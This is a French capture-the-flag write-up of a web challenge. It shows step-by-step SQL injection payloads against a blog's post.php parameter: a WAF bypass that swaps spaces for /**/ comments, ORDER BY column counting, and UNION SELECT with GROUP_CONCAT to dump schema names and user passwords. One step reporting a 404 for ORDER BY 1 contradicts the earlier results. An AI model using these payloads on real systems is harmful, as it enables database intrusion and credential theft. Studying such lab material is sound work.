SQL Project 2
Last updated
Last updated
Categorie: WEB - Points: 200 - Difficulté: Simple - Solves: 94 Description: L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation... Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations. Lien : https://secureblog.challenge.operation-kernel.fr/v2
Solution: Pour résoudre ce challenge il faut trouver une méthode pour obtenir le flag contenu dans la BDD Sur cette 2e version du site, la page de login a été enlevée car dans la première version elle était vulnérable et l'administrateur du site a décidé de l'enlever. Ca ne nous facilite pas la tâche tout ça...
En cherchant un peu sur le site, nous pouvons voir qu'il y a des articles :
En regardant le site, il n'y a pas l'air d'avoir de grosses failles à première vue. Mais ceci dit, si nous regardons les pages de articles nous voyons qu'ils sont appelés de la manière suivante : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=X
Il y a surement moyen de trouver quelque chose à faire là dedans.
Essayons une injection simple pour voir le nombre de colonnes SQL reçues sur le site :
--> ?id=1 ORDER BY 1
=> Renvoie un message d'alerte : An unauthorized character/request has been detected ! This query has been blocked.
Bon donc il y a un WAF qui filtre les injections...
Essayons de bypasser les espaces avec /**/
pour voir si ça passe :
--> ?id=1/**/ORDER/**/BY/**/1
=> L'article s'affiche sans problème. Le WAF filtre donc les espaces
Maintenant il faut augmenter la valeur pour voir le nombre de colonnes :
--> ?id=1/**/ORDER/**/BY/**/2
=> 200 --> ?id=1/**/ORDER/**/BY/**/3
=> 200
--> ?id=1/**/ORDER/**/BY/**/4
=> 200
--> ?id=1/**/ORDER/**/BY/**/5
=> 200
--> ?id=1/**/ORDER/**/BY/**/1
=> 404
Ok donc il y a 5 colonnes reçues.
Maintenant commençons les injections pour récupérer des infos :
Récupérer le nom des tables : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/table_name,/**/NULL/**/FROM/**/information_schema.tables
:
Mince, nous n'avons récupérer que la première table...
Comment pourrions-nous faire pour tout récupérer et pas un seul élément ? Avec la fonction SQL GROUP_CONCAT
: `` :
Il y a bien toutes les tables et à la fin il y a 2 tables potentiellement intéressantes, article et user
Récupérer le nom des colonnes de la table user : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/GROUP_CONCAT(column_name),/**/NULL/**/FROM/**/information_schema.columns
:
Il y a 2 colonnes très interressantes à la fin, user et password
Afficher le contenu des colonnes user et password : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/GROUP_CONCAT(id,username,password),/**/NULL/**/FROM/**/user
Oh mais voilà enfin ce merveilleux flag.
Le challenge se termine donc ici mais il y en a un 3e et déjà qu'ici ce n'était pas simple mais alors le 3e va être très complexe